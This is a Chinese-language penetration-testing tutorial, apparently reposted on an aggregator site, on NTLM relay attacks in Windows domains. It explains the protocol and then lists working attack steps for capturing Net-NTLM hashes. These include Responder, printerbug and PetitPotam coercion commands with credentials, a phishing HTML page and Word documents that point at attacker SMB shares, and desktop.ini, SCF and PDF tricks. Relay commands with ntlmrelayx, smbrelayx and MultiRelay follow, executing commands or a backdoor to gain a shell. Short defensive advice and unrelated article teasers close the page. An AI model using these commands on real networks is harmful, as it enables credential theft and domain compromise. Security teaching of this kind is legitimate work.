内网域中NTLM中继那些事儿

0x01 初识NTLM协议

基本概念:NTLM(NT LAN Manager)认证是一种早期的Windows网络身份认证协议。它在Windows系统中用于验证用户的身份,并提供对网络资源的访问控制,它是一种基于Challenge/Response的认证机制。

认证流程

NTLM协议Challenge/Response认证机制:

1.协商:双方先确定一下传输协议的版本等各种信息

2.质询:这一步是挑战/响应的关键一步

3.验证:对质询的最后一个结果进行验证,验证通过之后,即允许访问资源

NTLM协议Challenge/Response认证流程:

  1. 首先,client会向server发起请求连接协商一些相关东西

  2. server就会在本地生成一个(16位或8位)随机字符,即Challenge,并将Challenge传给client

  3. 当client接收到Challenge时,将username的NTLM-hash对Challenge进行加密(加密过程中会利用到用户名、域名、机器名等相关信息),生成Response,并将Response发送给server

  4. server在收到Response后,将其和相同的方式进行加密生成另一个Response,如果相同,则验证成功,如果不同就失败

Challenge和Response分析

Challenge:client向server发起协商后,server会随机产生一个Challenge值给client,它是无法预估的,每一次值都不会一样

Response:response=NTProofStr+blob

NTProofStr=将NTLM-V2-HASH(key)和(challenge+blob)两个进行HMAC-MD5加密

NTLM-V2-HASH=(大写的用户名+域名)编码成Unicode格式和用户密码的hash值(key)两个进行HMAC-MD5加密

blob:是由时间,目标信息,随机填充字符生成

因此在我们平时使用工具进行攻击的时候抓到的都是Net-NTML-Hash的数据

Net-NTML-Hash:username:domain:challenge:NTProofStr:blob

0x02 NTLM  Relay介绍

中继原理

如下图所示,在认证的整个流程中,攻击者充当一个中间人,此时,在客户端的眼中,他就是服务端,而在服务端的眼中,他又是客户端。通过这种方式,攻击者就可以伪造客户端来完成身份验证,而在服务端看来一直只有攻击者在跟他交互,所以全程就会把攻击者认为是客户端,这样攻击者就达到了伪造客户端的目的。

图片

中继步骤

  1. 获得受害者Net-NTLM Hash

  2. 使用Net-NTLM Hash进行重放攻击

注:因为Net-NTLM Hash不能直接发送给电脑,必须要有一个应用层协议来进行封装,如SMB、HTTP、RPC、LDAP,但是能不能中继到该协议,还需要看一下该协议是否有漏洞,是否支持等等

0x03 捕获Net-NTLM Hash 

捕获NET-NTLM的方式有很多,捕获阶段分为两步:

1.在B电脑上发起监听

2.A电脑发送认证信息

图片

利用打印机漏洞

kali开启监听

responder -I 监听网卡名 -wd

图片

Windows的MS-RPRN协议用于打印客户端和服务器之前的通信,默认情况下是启用的。该协议定义的RpcRemoteFindFirstPrinterChangeNotificationEx()方法调用会创建一个远程更改通知对象,该对象对打印机对象的更改进行监视,并将更改通知发送到客户端。任何经过身份验证的域成员都可以连接到远程服务器的打印服务spoolsv.exe,并请求对一个新的打印作业进行更新,令其将该通知发送给指定目标,之后它将立即测试该连接,即向指定目标进行身份验证。

python3 printerbug.py '域名/账号:密码@目标ip' 'kali_ip'

图片

回到刚才监听的窗口,发现以经捕获到Net-NTLM Hash

图片

利用PetitPotam漏洞

该漏洞利用了微软加密文件系统远程协议(MS-EFSRPC), MS-EFSRPC用于对远程协议存储和通过网络访问的数据执行维护和管理操作。利用PetitPotam,安全研究院可以通过连接到LSARPC强制触发目标机器向指定的远程服务器发送Net-NTLM Hash

python3 PetitPotam.py -d abc.com -u anna -p 'admin!@#45@192.168.24.66' -pipe all listener 192.168.24.25

图片

图片

利用LLMNR&NBNS攻击

我们知道,在电脑的认证机制中,默认是以当前账号密码进行认证,所以,该攻击方式的原理就是当用户任意输入一个不存在的名称,本地hosts文件和DNS服务器均不能正常解析该名称,于是系统就会发送LLMNR/NBNS数据包请求解析。攻击者收到请求后告诉客户端自己是不存在的名称要求客户端发送给Net-NTLM Hash进行认证,这样攻击者就可以收到客户端发来的Net-NTLM Hash。

图片

图片

利用系统命令

通过执行系统命令,访问指定的UNC路径,也可以获取到目标机器的Net-NTLM Hash,能够触发Net-NTLM Hash的常见命令如下:

net.exe use \hostshareattrib.exe \hostsharecacls.exe \hostsharecertreq.exe \hostsharecertutil.exe \hostsharecipher.exe \hostshareClipUp.exe -l \hostsharecmdl32.exe \hostshare等等,网上还有很多,可自行查阅

利用钓鱼网页

在网页中嵌入一段js脚本来触发NTLM认证,可配合XSS、文件上传、XXE​​​​​​​

<!DOCTYPE html><html lang="en"><head>  <meta charset="UTF-8"></head><body></body>  <script src="\\192.168.24.50\test"></script></html>

利用office文档

msf创建

msfconsoleuse auxiliary/docx/word_unc_injectorset lhost iprun

将生成的文档放到目标主机上执行,这里之前已经抓过了,所以就是下图所看到的回显:

图片

  • 手动创建

先创建一个word文件,然后再文档里面放一个图片,退出保存,使用7z打开找到document.xml.rels文件,将图片路径,改为:

Target="\\192.168.24.55\test" TargetMode="External"

图片

这里我使用的word文件,不知道是不是版本

利用系统图标

每个文件夹内都会有一个隐藏文件desktop.ini用来指定和存储文件夹图标,默认是不可见的,只需要在控制面板中去掉“隐藏受保护的操作系统文件”即可

图片

然后新建一个文件夹,每个文件夹下面都有,如果没有的话,就修改图标路径即可,将图标路径改为一个存在的主机ip

图片

再去访问该文件

图片

利用SCF文件

SCF文件是“Windows资源管理器命令”文件,scf文件时包含了lconFile属性,所以Explore.exe会尝试获取文件的图标,而lconFile属性是支持UNC路径的,所以我们也可以通过这里的lconFile属性来捕获Net-NTLM Hash

利用PDF文件

当用户使用PDF阅读器打开一份恶意的PDF文档,该PDF会向远程SMB服务器发出请求,如果该远程SMB服务器对数据包进行抓取,就能够获得用户Windows系统的Net NTLM Hash,通过进一步破解就有可能获得用户系统的明文密码。

图片

利用用户头像

在更改用户头像时,如果普通用户验证图片通过,那么system用户就会去访问192.168.24.102,并且携带用户凭据,就可以捕获Net-NTLM Hash

图片

0x04 NTLM Relay利用

自从 MS08-068 漏洞修复之后无法再将 Net-NTLM 哈希值传回到发起请求的机器上,除非进行跨协议转发,但是该哈希值仍然可以通过中继转发给另外一台机器。利用Responder结合其他中继工具可以进行自动化的拦截并且对哈希值进行中继转发。唯一的一个不足之处就是,在这之前需要在进行转发操作的机器上禁用SMB签名。但是除了个别的例外,所有的Windows操作系统都默认关闭了 SMB签名。

简单说就是,A登陆了administrator这个账户,我们通过手段拿到A的Net-NTLM Hash后无法直接把这个Hash传递回A,但是如果域内的B也可以通过administrator这个账户登录,那我们可以把从A处获得的Hash传递给B,拿到B处的administrator权限

MultiRelay.py

修改Responder的配置文件,关闭SMB和HTTP  (kali自带multiRelay.py  文件路径:/usr/share/responder/tools)

vim /usr/share/responder/Responder.conf

图片

python3 MultiRelay.py -t 192.168.24.102 -u ALL 

图片

然后在被控主机上使用错误的UNC就能够触发smb,从而获得目标主机的shell

ntlmrelayx.py

impacket文件下载:https://github.com/CoreSecurity/impacket.git

./ntlmrelayx.py -t 192.168.24.102 -c "ipconfig" -smb2support

然后在被控主机上触发smb

图片

回到kali中,得到ipconfig结果

图片

如果要得到交互式shell,在-c后面接上powershell即可

smbrelayx.py

./smbrelayx.py -h 192.168.24.102 -c whoami

同样在被控主机上触发smb

图片

如果要得到交互式shell,利用CS或msf生成后门文件,并开启监听

./smbrelayx.py -h 192.168.24.101 -e /home/gxy/桌面/shell.exe

同样在被控主机上触发smb,此时cs或者msf即可得到shell

0x05 NTLM Relay防御

  • 在所有网络节点上使用SMB签名

  • 禁用 NBNS 和 LLMNR 协议

  • 定期更新系统

如果您对免杀对抗内网渗透感兴趣,想要深入探讨、交流并学习更多相关内容,欢迎各位师傅加入官方技术交流群!!!(扫描下方二维码,关注公众号【赤鸢安全】,回复【加群】,添加管理员微信,拉您进群)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/846709.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python代码关系图生成,帮助快速熟悉一个项目

一、静态代码关系图 工具1、pyreverse pyreverse 是一个由 Logilab 开发的 Python 工具&#xff0c;它能够自动生成 UML (统一建模语言) 类图&#xff0c;这些类图基于 Python 源代码。pyreverse 可以分析 Python 代码&#xff0c;并从中提取出类、模块、函数、方法和它们之间…

Window下VS2019编译WebRTC通关版

这段时间需要实现这样一个功能&#xff0c;使用WebRTC实现语音通话功能&#xff0c;第一步要做的事情就是编译WebRTC源码&#xff0c;也是很多码友会遇到的问题。 经过我很多天的踩坑终于踩出来一条通往胜利的大路&#xff0c;下面就为大家详细介绍&#xff0c;编译步骤以及踩…

安卓组合控件(底部标签栏、顶部导航栏、增强型列表、升级版翻页)

本章介绍App开发常用的一些组合控件用法&#xff0c;主要包括&#xff1a;如何实现底部标签栏、如何运用顶部导航栏、如何利用循环视图实现3种增强型列表、如何使用二代翻页视图实现更炫的翻页效果。 底部标签栏 本节介绍底部标签栏的两种实现方式&#xff1a;首先说明如何通…

minos 2.3 中断虚拟化——GICv2 管理

首发公号&#xff1a;Rand_cs 该项目来自乐敏大佬&#xff1a;https://github.com/minosproject/minos 硬件肯定需要软件配合&#xff0c;这一节就来实战 GICv2 首先准备好 GICv2 手册&#xff1a;https://developer.arm.com/documentation/ihi0048/bb/?langen&#xff0c;对…

深入剖析Java逻辑运算符,解决日常开发难题

哈喽&#xff0c;各位小伙伴们&#xff0c;你们好呀&#xff0c;我是喵手。运营社区&#xff1a;C站/掘金/腾讯云&#xff1b;欢迎大家常来逛逛 今天我要给大家分享一些自己日常学习到的一些知识点&#xff0c;并以文字的形式跟大家一起交流&#xff0c;互相学习&#xff0c;一…

SpringBoot:手动创建应用

Spring提供了在线的Spring Initialzr在线创建Spring Boot项目&#xff0c;为了更好的理解Spring Boot项目&#xff0c;这里我们选择手动创建。 1.新建Web应用 1.1 生成工程 首先要做是创建一个Java项目&#xff0c;这里我们选择使用Maven来支持&#xff0c;使用archetype:ge…

现成方案 - 复刻版类似 Perplexity 与秘塔 AI 的搜索引擎

这里为大家带来一个极具创新性的开源 AI 搜索引擎&#xff0c;其灵感源自 Perplexity。 该搜索引擎主要具备以下功能&#xff1a; 能够接收用户提出的各种问题。借助 Bing 搜索 API 可查找出前 6 个结果并予以展示。会抓取这 6 个链接的文本内容&#xff0c;将其作为重要的上下…

Gavin Wood 访谈|Polkadot 从何而来,又将如何面对 AI 时代?

如果没有宏观经济&#xff0c;加密世界可能无法存在。或许&#xff0c;Satoshi Nakamoto 也永远不会写出那篇开创性的白皮书。区块链技术作为指数时代的核心之一&#xff0c;在宏观经济理论中占有重要地位。传统的经济增长公式是人口增长加生产率增长加债务增长。然而&#xff…

Python 高级数据类型

列表List 定义列表 可以将不同的基本数据类型或者列表装到一个列表里 my_list [1,2,3,4,5] print(my_list) # [1, 2, 3, 4, 5] 直接打印出列表的内容 print(type(my_list)) # <class list>my_list ["1","2","3","4","…

基于51单片机的智能晾衣架设计

一.硬件方案 智能自动晾衣架能够实现晾衣架的自动升降。与传统的手动晾衣架相比&#xff0c;自动晾衣架具有升降更省力&#xff0c;升降速度更快等优势&#xff0c;随着技术的日臻完善&#xff0c;自动晾衣架将成为市场的主导产品。 电路主要由 51单片机最小系统无线收发模块编…

数学建模之MATLAB入门教程(上)

前言&#xff1a; • MATLAB是美国Math Works公司出品的商业数学软件&#xff0c;用于数据分析、无线通信、深度学习、图像处理与计算机视觉、信号处理、量化金融与风险管理、机器人&#xff0c;控制系统等领域。 • MATLAB将数值分析、矩阵计算、科学数据可视化以及非线性动…

Python自动化识别与删除Excel表格空白行和列

在处理Excel数据时&#xff0c;经常会遇到含有空白行和空白列的情况。这些空白区域不仅占用表格显示空间&#xff0c;还可能导致数据分析时出现偏差&#xff0c;影响数据处理的效率与结果的准确性&#xff0c;如空白行可能干扰数据聚合操作&#xff0c;导致统计计数不准确&…

集合类源码浅析のArrayList

源码分析路线图&#xff1a; 初级部分&#xff1a;ArrayList->LinkedList->Vector->HashMap(红黑树数据结构&#xff0c;如何翻转&#xff0c;变色&#xff0c;手写红黑树)->ConcurrentHashMap 中级部分&#xff1a;Spring->Spring MVC->Spring Boot->M…

240602-通过命令行实现HuggingFace文件上传

A. 登录显示 A.1 MacOS A.2 Windows B. 操作步骤 B.1 操作细节 要通过命令行将文件上传到 Hugging Face&#xff0c;可以使用 huggingface-cli 工具。以下是详细步骤&#xff1a; 安装 huggingface_hub 包&#xff1a; 首先&#xff0c;确保已经安装了 huggingface_hub 包。可…

基于springboot实现青年公寓服务平台系统项目【项目源码+论文说明】计算机毕业设计

基于springboot实现青年公寓服务平台系统演示 摘要 传统信息的管理大部分依赖于管理人员的手工登记与管理&#xff0c;然而&#xff0c;随着近些年信息技术的迅猛发展&#xff0c;让许多比较老套的信息管理模式进行了更新迭代&#xff0c;房屋信息因为其管理内容繁杂&#xff…

“人工智能AI+” 应用场景盘点

在这个科技与梦想交相辉映的时代&#xff0c;人工智能已不再停留于遥不可及的概念构想&#xff0c;而是化身为一股汹涌的创新洪流&#xff0c;深刻塑造着社会的每一个角落。从文化艺术的智慧火花到生命科学的精密探索&#xff0c;从工业制造的革新升级到日常生活的细致入微&…

Delphi使用TMS.MQTT开发Mqtt客户端

服务端用的是 mosquitto ,下载地址Download | Eclipse Mosquitto 安装完成后需要配置 找到安装目录:mosquitto.conf,打开后修改 allow_anonymous false(禁止匿名登录),password_file D:\Program Files\mosquitto\pwfile.example(密码存放位置) 创建新用户,安装目录…

Least-Squares Rigid Motion Using SVD——文献精读(使用 SVD 方法求解 ICP 问题)

一、文章信息与摘要 文章标题&#xff1a;Least-Squares Rigid Motion Using SVD&#xff08;使用奇异值分解的最小二乘刚性运动&#xff09; 说明本文的核心目标&#xff1a;计算对齐两组对应点的最佳拟合刚性变换的步骤 二、问题描述 假设P{p1,p2,...,pn}和Q{q1,q2,...,qn…

Feature Manipulation for DDPM based Change Detection

基于去噪扩散模型的特征操作变化检测 文章提出了一种基于去噪扩散概率模型&#xff08;DDPM&#xff09;的特征操作变化检测方法。变化检测是计算机视觉中的经典任务&#xff0c;涉及分析不同时间捕获的图像对&#xff0c;以识别场景中的重要变化。现有基于扩散模型的方法主要…

C++ 习题精选(2)

目录 1. 验证回文串2. 字符串相乘 1. 验证回文串 题目描述&#xff1a;如果在将所有大写字符转换为小写字符、并移除所有非字母数字字符之后&#xff0c;短语正着读和反着读都一样。则可以认为该短语是一个 回文串 。字母和数字都属于字母数字字符。给你一个字符串 s&#xff…